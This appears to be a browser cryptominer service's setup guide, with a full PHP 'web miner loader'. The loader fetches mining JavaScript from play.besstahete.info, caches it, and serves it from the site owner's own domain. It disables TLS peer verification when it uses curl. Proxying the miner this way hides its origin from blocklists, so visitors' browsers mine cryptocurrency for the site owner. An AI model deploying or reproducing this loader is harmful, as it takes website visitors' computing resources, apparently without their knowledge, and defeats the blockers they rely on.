1. Copy php-file from this link and place it on your hosting so that it is available in the browser as https://your-domain/path/filename.php

2. Check that the link opens in the browser and shows the same content that https://play.besstahete.info/app.js

3. If all is right, copy the script code from your Mineralt  personal account, replace the link https://play.besstahete.info/app.js  with the link https://your-domain/path/filename.php in this script  code.
Example: <script async class="=c0dEQgH5ZuUk47XXXXXX==" src="https://your-domain/path/filename.php"></script>


If you get an error or an empty browser page on step 2, check the information about the errors in the php logs or web-server logs.

The most common errors occur,  if php does not have access to write data in the folder near it. Then you need to either change access rights or specify the folder in which the php script can write data.

Instead

$loader = new Loader ();

use

$ loader = new Loader ('/path/to/necessary/folder');


In this folder  the php-script stores the cached js-file and the lock file in case of  updating the cache.

Another common cause of problems is the lack of php extensions: php_curl and php_openssl. You need any of them.


PHP file content:


<?php
/**
 * mineralt.io web miner loader
 */
class Loader {

    /**
     * Cache's lifetime in minutes
     * @var int
     */
    private $lifetime = 60;

    /**
     * Path to PID
     * @var string
     */
    protected $lockPath = 'mineralt.pid';

    /**
     * Path to cached amo.js
     * @var string
     */
    protected $cachePath = 'amo.js.cache';

    /**
     * Path to backup of cached amo.js
     * @var string
     */
    protected $backupPath = 'amo.js.backup';

    /**
     * lock-file
     * @var null
     */
    protected $lockFile = NULL;

    /**
     * URL where we are going to get new version of js file
     * @var string
     */
    protected $url = 'https://play.besstahete.info/app.js';


    /**
     * Loader constructor.
     * @param null|string $store Path to storage
     * @param int $lifetime Cache's lifetime in minutes
     */
    public function __construct($store = NULL, $lifetime = 60) {
        if (empty($store)) {
            $store = realpath(dirname(__FILE__)).'/';
        }
        $this->lifetime = $lifetime;
        $this->lockPath = $store.$this->lockPath;
        $this->cachePath = $store.$this->cachePath;
        $this->backupPath = $store.$this->backupPath;
    }

    /**
     * Check if cache already updated
     * @return bool
     */
    public function updated() {
        if (!file_exists($this->cachePath)) {
            return FALSE;
        }
        return ( (time() - filemtime($this->cachePath))/60 < $this->lifetime );
    }

    /**
     * Send file content to browser
     * @throws
     * @param $filePath
     */
    protected function sendFile($filePath) {
        $fp = fopen($filePath, 'rb');
        if(empty($fp)) {
            throw new Exception(
                "Unexpected error loading cached file"
            );
        }
        header("Content-Type: application/javascript");
        header("Content-Length: " . filesize($filePath));
        fpassthru($fp);
        exit(0);
    }

    /**
     * Send cached js-file to browser
     */
    public function sendCache() {
        $this->sendFile($this->cachePath);
    }

    /**
     * Send backup of cached js-file to browser
     */
    public function sendBackup() {
        $this->sendFile($this->backupPath);
    }

    /**
     * Making a backup of cacheFile
     */
    public function backup() {
        if (!file_exists($this->cachePath)) {
            return;
        }
        if(!copy($this->cachePath, $this->backupPath)) {
            throw new Exception(
                "Unexpected error making backup file"
            );
        }
    }

    /**
     * Set lock for updating
     * @throws
     * @return bool
     */
    public function lock() {
        if (file_exists($this->lockPath)) {
            // Already locked
            return FALSE;
        }

        $this->lockFile = fopen($this->lockPath, 'c');
        $success = flock($this->lockFile, LOCK_EX | LOCK_NB, $wouldBlock);
        if ($this->lockFile === false || (!$success &amp;amp;amp;amp;&amp;amp;amp;amp; !$wouldBlock)) {
            throw new Exception(
                "Unexpected error opening or locking lock file. Perhaps you " .
                "don't  have permission to write to the lock file or its " .
                "containing directory?"
            );
        } else if (!$success &amp;amp;amp;amp;&amp;amp;amp;amp; $wouldBlock) {
            // Already locked
            return FALSE;
        }

        ftruncate($this->lockFile, 0);
        fwrite($this->lockFile, getmypid() . "\n");
        return TRUE;
    }

    /**
     * Updating cache
     * @throws Exception
     */
    public function update() {
        $newContent = $this->load();
        if(empty($newContent)) {
            // New version was not loaded
            return;
        }
        $result = file_put_contents($this->cachePath, $newContent, LOCK_EX);
        if (!$result) {
            $this->unlock();
            throw new Exception(
                "Unexpected error writing cache"
            );
        }
    }

    /**
     * Get new version from mineralt
     * @throws
     * @return string
     */
    protected function load() {
        if (extension_loaded('openssl') AND in_array('https', stream_get_wrappers())) {
            return file_get_contents($this->url);
        }

        if (function_exists('curl_version')) {
            $handle = curl_init($this->url);
            curl_setopt($handle, CURLOPT_VERBOSE, TRUE);
            curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, FALSE);
            $content = curl_exec($handle);
            return $content;
        }

        throw new Exception(
            "Unable to load data from {$this->url}. ".
            "Please install php_curl extension or openssl with https wrapper for file_get_contents()"
        );
    }

    /**
     * Unset lock for updating
     */
    public function unlock() {
        unlink($this->lockPath);
        flock($this->lockFile, LOCK_UN);
    }

}

$loader = new Loader();

if($loader->updated()) {
    // Need not update
    $loader->sendCache();
    exit(0);
}

/**
 * Need update
 */
if(!$loader->lock()) {
    // If locked - send last backup
    $loader->sendBackup();
    exit(0);
}
$loader->backup();
$loader->update();
$loader->unlock();
$loader->sendCache();